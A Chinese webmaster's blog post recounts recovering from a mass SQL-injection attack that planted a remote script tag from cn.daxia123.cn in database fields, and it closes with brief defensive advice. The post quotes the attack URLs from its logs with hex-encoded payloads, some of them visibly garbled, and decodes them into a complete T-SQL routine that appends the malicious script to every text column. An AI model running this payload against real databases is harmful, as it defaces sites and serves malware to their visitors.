最近,有一种病毒通过SQL漏洞,直接往数据库表里注入<script src=http://cn.daxia123.cn.js>,即使是现在,也还是有成千上万的网站没有得到解决吧?我的小站前几天也和大家一样,中毒了,而且几天,几个晚上都没有休息好,经过努力,中国暂时恢复了正常,但还是不放心。我就简单的说下我解决的过程吧。
首先,我们通过日志,可以看到一段代码,
http://xxx.xxx.xxx/xxx.asp?xxx=xxx' AnD (sElEcT ChAr(94)+cAsT(CoUnT(1) aS VaRcHaR(100))
+ChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0 AnD ''='
第二次使用
http://xxx.xxx.xxx/xxx.asp?xxx=xxx%' AnD (sElEcT ChAr(94)+cAsT(CoUnT(1) aS VaRcHaR(100))
+ChAr(94) fRoM [mAsTeR]..[sYsDaTaBaSeS])>0 And '%'='
第三次使用
http://xxx.xxx.xxx/xxx.asp?xxx=xxx;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT
(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C4
15245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616
D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F4
37572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432
36E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437
572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--
第四次使用
http://xxx.xxx.xxx/xxx.asp?xxx=xxx%' ;dEcLaRe
@S VaRcHaR(4000) SeT @s=cAsT
(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C4
15245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616
37572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432
572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);-- aNd '%'='
第五次使用
http://xxx.xxx.xxx/xxx.asp?xxx=xxx';dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT
(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C4
15245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616
92C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E6
36E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437
572736F7220494E544F24E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--
这些二进制编码是:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR
(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
此种方法的破坏程度非常严重!也就是,我们找到了原因,就是因为利用程序的漏洞,在参数页面进行SQL注入,万幸的是,这些二进制编码,对ACCESS数据库是无效果的,因为ACCESS数据库没有反编译功能,所以很多网站避免了被攻击。
好了,沿归正转,我们找到了入侵的原理,那么我们现在就得考试解决问题了,首先,我们因该把网站停了,把出问题的页面(最好是一个一个检查),就是带参数的页面,把非数字类型的字符做下判断,这只是第一步,然后做好conn文件的防注入代码。然后再恢复数据吧!
如果是自己的服务器,请大家一定要认真的扫描好系统,因为连带着前期进攻,可能会值入木马到服务器里,然后掠夺3389权限,把你的服务器当成肉机来攻击你周围的机器。
好了,这里提供一个SQL通用防注入系统3.0 供大家参考学习。希望大家的问题能及时得到解决,坚决和大家一起共度难关,最后,www.bookskys.com站长提前祝大家春节快乐!